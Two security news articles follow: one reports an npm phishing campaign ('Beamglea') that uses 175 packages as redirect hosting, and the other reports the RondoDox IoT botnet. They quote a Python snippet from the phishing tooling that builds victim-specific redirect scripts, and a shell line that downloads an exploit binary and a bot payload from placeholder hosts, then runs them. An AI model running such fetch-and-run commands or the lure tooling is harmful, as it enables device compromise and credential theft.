Socket’s Threat Research Team has uncovered a sophisticated phishing campaign involving 175 malicious npm packages that collectively accumulated over 26,000 downloads.

The campaign, dubbed “Beamglea” based on consistent artifacts across all packages, represents a novel abuse of npm’s public registry and the unpkg.com CDN to host redirect scripts targeting 135+ industrial, technology, and energy companies worldwide.

The packages themselves don’t execute malicious code during installation, making them particularly insidious as they exploit the npm ecosystem as free hosting infrastructure for credential harvesting operations.

While the packages’ randomized names following the pattern redirect-[a-z0-9]{6} make accidental developer installation unlikely, the substantial download counts likely include security researchers, automated scanners, and CDN infrastructure analyzing the packages after disclosure.

The threat actors developed comprehensive Python tooling to automate the entire campaign, enabling them to create victim-specific HTML phishing lures themed as purchase orders and project documents.

The origin and meaning of “beamglea” remains unclear, though it may represent a codename or inside reference used by the attackers.

Socket.dev analysts identified the campaign as part of their routine scanning operations, building on initial findings by Paul McCarty at Safety who first discovered the phishing infrastructure on September 24, 2025.

The researchers noted that most packages associated with this campaign remain live at the time of writing, prompting immediate petitions for their removal from the npm registry alongside suspension of the threat actors’ accounts.

The campaign demonstrates remarkable sophistication in its technical implementation, representing a concerning evolution in supply chain abuse techniques.

Prior to this disclosure, the term “beamglea” had virtually no online presence, making it an effective tracking identifier for this specific operation targeting organizations across multiple critical infrastructure sectors.

Automated Package Generation Infrastructure

The threat actors developed sophisticated Python automation to streamline their operations, utilizing redirect_generator.py scripts and PyInstaller-compiled executables for ease of deployment.

The automation process demonstrates professional-level operational security planning and systematic victim targeting capabilities.

The core automation takes three inputs: a JavaScript template file named beamglea_template.js, the victim’s email address, and the destination phishing URL.

The system then processes these components through a five-step workflow that begins with npm authentication verification and proceeds through template processing, package creation, publication, and HTML lure generation.

The random package name generation function creates unique identifiers using a six-character suffix of lowercase letters and numbers, ensuring each campaign remains distinct while following the recognizable redirect- prefix pattern.

The JavaScript payload embedded in each package remains remarkably simple yet effective. Each beamglea.js file contains a processAndRedirect() function that appends the victim’s email as a URL fragment, leveraging the fact that fragments appear after the # symbol and don’t appear in standard server access logs.

This technique creates an appearance of legitimacy when phishing pages pre-fill login forms with the victim’s email address.

def generate_random_package_name(prefix="redirect-"):
    # Generates random 6-character suffix
    suffix = ''.join(random.choices(string.ascii_lowercase + string. Digits, k=6))
    return prefix + suffix

# Template processing replaces placeholders with victim-specific data
template_js = load_template('beamglea_template.js')
final_js = template_js.replace("{{EMAIL}}", email).replace("{{URL}}", redirect_url)
with open("beamglea.js", "w", encoding="utf-8") as f:
    f.write(final_js)

The automation generates HTML lures with specific business document themes designed to bypass suspicion, utilizing filenames that mimic legitimate purchase orders, technical specifications, and project documents.

All HTML files contain the campaign identifier nb830r6x in their meta tags, providing consistent tracking across the 630+ generated lures distributed across the 175 packages.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post 175 Malicious npm Packages With 26,000 Downloads Attacking Technology, and Energy Companies Worldwide appeared first on Cyber Security News.

Since its emergence in early 2025, RondoDox has rapidly become one of the most pervasive IoT-focused botnets in operation, targeting a wide range of network-connected devices—from consumer routers to enterprise CCTV systems and web servers.

Its modular design allows operators to deploy tailored exploit modules against over 50 distinct vulnerabilities, enabling swift compromise of disparate platforms.

In many attack campaigns, adversaries have leveraged automated scanning to identify exposed devices, followed by rapid exploitation and command-and-control enrollment.

Trend Micro researchers identified RondoDox in April 2025 after observing anomalous traffic patterns emanating from compromised DVR appliances in multiple regions.

Subsequent analysis revealed a core engine written in Go, facilitating cross-platform deployment and efficient binary size.

The botnet’s command protocols support encrypted communications, ensuring stealthy C2 exchanges even under network monitoring.

Upon successful exploitation, RondoDox deploys a lightweight persistence agent designed to survive device reboots and firmware updates.

This agent periodically polls C2 servers for new payloads or commands, while self-healing routines reinstall components if removed.

Infections frequently culminate in the device participating in large-scale DDoS attacks or clandestine proxying for subsequent threat operations.

Infection Mechanism

RondoDox’s infection chain typically begins with a reconnaissance phase in which the malware’s scanning module probes devices for open Telnet (port 23), SSH (port 22), and HTTP management interfaces.

Once a target is identified, the appropriate exploit payload—drawn from its extensive repository— is delivered.

For instance, in one module, the scanner uses the CVE-2021-20090 router authentication bypass to execute a shell payload:-

wget http[:]//malicious.example/exploit; chmod +x exploit
./ exploit - u admin - p '' - c ' wget http[:]//cdn[.]example/rondox && chmod +x rondox && ./ rondox'

After initial code execution, the payload establishes an encrypted TLS channel back to C2 on port 443, disguising its traffic as legitimate HTTPS.

Trend Micro analysts noted that this encryption scheme relies on a custom certificate bundle, complicating interception and inspection efforts.

Once communication is established, the bot requests and loads additional modules—such as network scanners or DDoS tools—directly into memory.

The multi-stage infection flow highlights the transition from reconnaissance to exploitation and persistence.

A timeline of the RondoDox vulnerability (Source – Trend Micro)

Following the infection mechanism, RondoDox leverages device-specific persistence techniques, such as crontab entries on Linux-based DVRs or firmware image modification on certain router models, ensuring continued operation.

Its adaptability and broad exploit library underscore the urgent need for patch management and network segmentation to mitigate this evolving threat.

The table below provides a detailed overview of all 50+ vulnerabilities currently exploited by RondoDox, including their CVE identifiers, affected products, impact ratings, required exploit prerequisites, and CVSS 3.1 scores.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post RondoDox Botnet Exploits 50+ Vulnerabilities to Attack Routers, CCTV Systems and Web Servers appeared first on Cyber Security News.